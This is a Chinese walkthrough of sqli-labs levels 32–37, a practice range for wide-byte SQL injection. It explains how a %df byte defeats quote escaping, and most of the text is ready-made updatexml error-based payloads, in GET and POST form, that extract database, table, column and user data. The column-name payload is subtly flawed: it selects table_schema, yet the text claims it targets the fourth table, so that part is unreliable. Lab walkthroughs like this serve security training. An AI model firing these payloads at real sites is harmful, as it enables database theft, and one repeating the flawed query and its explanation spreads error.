sqli-labs靶场32-37关(宽字节注入)
目录
前言
less32(宽字节注入)
less33(宽字节注入)
less34(POST型宽字节注入)
less35(数字型闭合宽字节)
less36(宽字节注入)
less37(POST型宽字节注入)
前言
宽字节注入是基于字节层的,所以在注入时,要用十六进制
\'——引号被转义,无法注入(\'对应十六进制为%5c%27)
如果我们在传入的引号前面再加上一个字符能与服务端加的转义符\一同被解析为一个完整的宽字符,那么转义符\就被吃掉了,留下引号用于注入。这个字符我们常用%df
%df%5c%27——運'
所以我们只需要传入参数%df%27,后端检测到%27(引号)后,就会在%27前面加上%5c(\)
即%df%5c%27——運',造成注入
less32(宽字节注入)
直接传参引号不会报错,因为被转义了,利用宽字节注入:
?id=%df%27
利用报错信息,做报错注入:
?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库
错误pyload:
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+注意这里security的引号不能用宽字符注入了,会导致乱码,语法错误。
正确pyload:
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名
(这里的limit 3,1表示第四张表,忽略前三个表)
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据
less33(宽字节注入)
这道题的pyload和less32一模一样:
?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据
less34(POST型宽字节注入)
这关宽字节注入是POST型传参的,先抓包:
%df'——报错,判断为单引号闭合……
利用报错注入:
uname=%df' or updatexml(1,concat(0x7e,(database()),0x7e),1)#&passwd=test&submit=Submit——爆数据库
uname=%df' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=test&submit=Submit——爆表名
uname=%df' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)#&passwd=test&submit=Submit——爆字段名
uname=%df' or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)#&passwd=test&submit=Submit——爆数据
less35(数字型闭合宽字节)
?id=1 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库
?id=1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名
?id=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名
?id=1 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据
less36(宽字节注入)
pyload和less32一模一样:
?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+——爆表名
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+——爆字段名
?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+——爆数据
less37(POST型宽字节注入)
pyload和less34一样:
uname=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)#&passwd=test&submit=Submit——爆数据库
uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=test&submit=Submit——爆表名
uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)#&passwd=test&submit=Submit——爆字段名
uname=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)#&passwd=test&submit=Submit——爆数据